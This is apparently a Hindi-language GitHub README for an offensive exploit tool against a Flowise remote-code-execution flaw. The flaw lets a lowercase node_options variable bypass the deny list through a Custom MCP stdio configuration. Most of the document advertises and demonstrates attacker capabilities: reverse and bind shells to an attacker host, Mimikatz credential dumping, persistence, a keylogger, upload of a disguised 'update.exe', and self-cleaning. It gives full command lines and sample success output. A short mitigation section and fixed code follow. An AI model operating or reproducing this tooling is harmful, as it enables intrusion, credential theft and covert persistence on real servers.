Flowise CVE-2026-58057 - Windows रिमोट कोड एक्ज़ीक्यूशन एक्सप्लॉइट

📋 अवलोकन

यह CVE-2026-58057 के लिए एक प्रोडक्शन-ग्रेड एक्सप्लॉइट है, जो Windows प्लेटफ़ॉर्म पर Flowise में एक गंभीर रिमोट कोड एक्ज़ीक्यूशन भेद्यता है। यह भेद्यता केस-सेंसिटिव एन्वायरनमेंट वेरिएबल वैलिडेशन के कारण उत्पन्न होती है, जो लोअरकेस node_options को ब्लॉक करने में विफल रहता है, जिससे हमलावर NODE_OPTIONS डेनीलिस्ट को बायपास कर सकते हैं और Custom MCP stdio कॉन्फ़िगरेशन के माध्यम से मनमाना कोड निष्पादित कर सकते हैं।

यह एक्सप्लॉइट मॉड्यूलर आर्किटेक्चर, व्यापक त्रुटि प्रबंधन और कई पेलोड प्रकारों के समर्थन के साथ पेशेवर सॉफ्टवेयर इंजीनियरिंग प्रथाओं को प्रदर्शित करता है।

⚠️ अस्वीकरण

महत्वपूर्ण: यह टूल केवल अधिकृत सुरक्षा परीक्षण, पेनेट्रेशन परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। लेखक इस सॉफ़्टवेयर के किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं है। किसी भी सिस्टम का परीक्षण करने से पहले हमेशा उचित प्राधिकरण प्राप्त करें।

🔍 तकनीकी विवरण

भेद्यता का मूल कारण

# Vulnerable Validation (Case-Sensitive )
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key in dangerous:  # Only blocks exact uppercase match
    raise ValueError(f"Modification not allowed")

एक्सप्लॉइट तंत्र

1. हमलावर Flowise में प्रमाणीकरण करता है

2. Custom MCP stdio नोड बनाता/संशोधित करता है

3. लोअरकेस node_options एन्वायरनमेंट वेरिएबल इंजेक्ट करता है

4. वैल्यू को --require malicious-loader.js पर सेट करता है

5. जब MCP stdio चलता है तो Node.js लोडर को निष्पादित करता है

6. मनमाना कोड निष्पादन प्राप्त होता है

✨ विशेषताएँ

मुख्य क्षमताएँ

• ✅ Reverse Shell - हमलावर मशीन से वापस कनेक्ट करें

• ✅ Bind Shell - टारगेट पर लिसनिंग पोर्ट खोलें

• ✅ Command Execution - मनमाना सिस्टम कमांड चलाएँ

• ✅ File Upload - टारगेट सिस्टम पर फ़ाइलें अपलोड करें

• ✅ Persistence - कई पर्सिस्टेंस तंत्र

• ✅ Information Gathering - सिस्टम खुफिया जानकारी एकत्र करें

• ✅ Credential Dumping - Mimikatz एकीकरण

• ✅ Screenshot Capture - डेस्कटॉप स्क्रीनशॉट कैप्चर करें

• ✅ Keylogger - कीलॉगिंग क्षमता स्थापित करें

तकनीकी विशेषताएँ

• 🔐 एकाधिक प्रमाणीकरण विधियाँ - API key या उपयोगकर्ता नाम/पासवर्ड

• 🔄 ऑटो-रिट्री लॉजिक - नेटवर्क समस्याओं के प्रति लचीला

• 🧹 सेल्फ-क्लीनिंग - टारगेट से लोडर फ़ाइलें हटाता है

• 🌐 क्रॉस-प्लेटफ़ॉर्म - Windows/Linux/macOS पर काम करता है

• 🎨 रंगीन आउटपुट - बेहतर पठनीयता

• 📊 वर्बोज़ डिबगिंग - समस्या निवारण के लिए विस्तृत लॉगिंग

📦 इंस्टॉलेशन

आवश्यक शर्तें

• Python 3.6 या उच्चतर

• pip (पायथन पैकेज मैनेजर)

त्वरित इंस्टॉलेशन

# Clone repository
git clone https://github.com/CerberusMrXi/Flowise-CVE-2026-58057-exploit
cd Flowise-CVE-2026-58057-exploit

# Install dependencies
pip install -r requirements.txt

# Or minimal installation
pip install requests urllib3

Docker इंस्टॉलेशन (वैकल्पिक )

FROM python:3.9-alpine
RUN apk add --no-cache gcc musl-dev
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY exploit.py .
ENTRYPOINT ["python3", "exploit.py"]

🚀 उपयोग

कमांड लाइन विकल्प

python3 exploit.py --help

प्रमाणीकरण विकल्प

पेलोड विकल्प

निष्पादन विकल्प

📝 उपयोग उदाहरण

1. बेसिक रिवर्स शेल

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload reverse_shell \
    --lhost 192.168.1.50 \
    --lport 4444

2. इंटरैक्टिव रिवर्स शेल

python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
    --payload reverse_shell \
    --lhost 192.168.1.50 \
    --lport 4444 \
    --interactive

3. कमांड निष्पादन

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload command_exec \
    --command "whoami"

4. फ़ाइल अपलोड

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload file_upload \
    --local-file /path/to/payload.exe \
    --remote-path "C:\\ProgramData\\update.exe"

5. क्रेडेंशियल डंपिंग (Mimikatz )

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload mimikatz

6. पर्सिस्टेंस इंस्टॉलेशन

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload persistence

7. सूचना संग्रह

python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
    --payload info_gather

8. स्क्रीनशॉट कैप्चर

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload screenshot

🎯 पेलोड प्रकार

🛡️ शमन

Flowise अपग्रेड करें

# Upgrade to version 3.1.3 or later
npm install -g flowise@latest
# or
docker pull flowiseai/flowise:latest

वर्कअराउंड

• Custom MCP कॉन्फ़िगरेशन तक पहुंच प्रतिबंधित करें

• नेटवर्क सेगमेंटेशन लागू करें

• संदिग्ध एन्वायरनमेंट वेरिएबल्स की निगरानी करें

• वेब एप्लिकेशन फ़ायरवॉल (WAF) का उपयोग करें

सही किया गया कोड

# Fixed Validation (Case-Insensitive)
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key.upper() in dangerous:  # Case-insensitive check
    raise ValueError(f"Modification not allowed")

📊 आउटपुट उदाहरण

सफल एक्सप्लॉइट

[14:32:15] ℹ Starting exploit sequence...
[14:32:15] ℹ Attempting authentication...
[14:32:16] ✓ Authenticated with API key
[14:32:16] ℹ Preparing reverse_shell payload execution...
[14:32:16] ℹ Injecting environment variable...
[14:32:17] ℹ Triggering payload execution...
[14:32:19] ✓ Payload 'reverse_shell' executed successfully!
[14:32:19] ℹ Reverse shell listener ready on 192.168.1.50:4444

वर्बोज़ मोड

[14:32:15] 🔍 Session created with retry strategy
[14:32:15] 🔍 Using existing workspace: ws_123456
[14:32:16] 🔍 Loader written: /tmp/loader_1234_1234567890.js
[14:32:16] 🔍 MCP stdio configuration updated

🐛 समस्या निवारण

सामान्य समस्याएँ

डिबग कमांड

# Enable verbose logging
python3 exploit.py -t http://localhost:3000 -k API_KEY --verbose

# Test connectivity
curl -k https://localhost:3000/api/v1/version

# Check Python version
python3 --version

📁 फ़ाइल संरचना

flowise-CVE-2026-58057-exploit/
├── exploit.py          # Main exploit script
├── requirements.txt    # Core dependencies
├── README.md          # This documentation
├── LICENSE            # MIT License
└── CHANGELOG.md       # Version history

🤝 योगदान

1. रिपॉजिटरी को फोर्क करें

2. फीचर ब्रांच बनाएं (git checkout -b feature/amazing)

3. परिवर्तन कमिट करें (git commit -m 'Add amazing feature')

4. ब्रांच पर पुश करें (git push origin feature/amazing)

5. पुल अनुरोध खोलें

📜 लाइसेंस

यह प्रोजेक्ट MIT लाइसेंस के तहत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।

🏆 आभार

• FlowiseAI को उत्पाद के लिए

• समान भेद्यताओं की खोज करने वाले सुरक्षा शोधकर्ता

• परीक्षण पद्धतियों के लिए पेनेट्रेशन टेस्टिंग समुदाय

🔗 संदर्भ

• CVE-2026-58057

• Flowise GitHub रिपॉजिटरी

• Flowise दस्तावेज़ीकरण

• Node.js एन्वायरनमेंट वेरिएबल्स सुरक्षा

📧 संपर्क

लेखक: Sudeepa Wanigarathna सुरक्षा शोधकर्ता और पेनेट्रेशन परीक्षक

⭐ समर्थन

यदि आपको यह टूल उपयोगी लगे, तो कृपया विचार करें:

• ⭐ GitHub पर रिपॉजिटरी को स्टार करें

• 🔔 अपडेट के लिए फॉलो करें

• 📝 समस्याओं या सुझावों की रिपोर्ट करें

सुरक्षा समुदाय के लिए ❤️ के साथ बनाया गया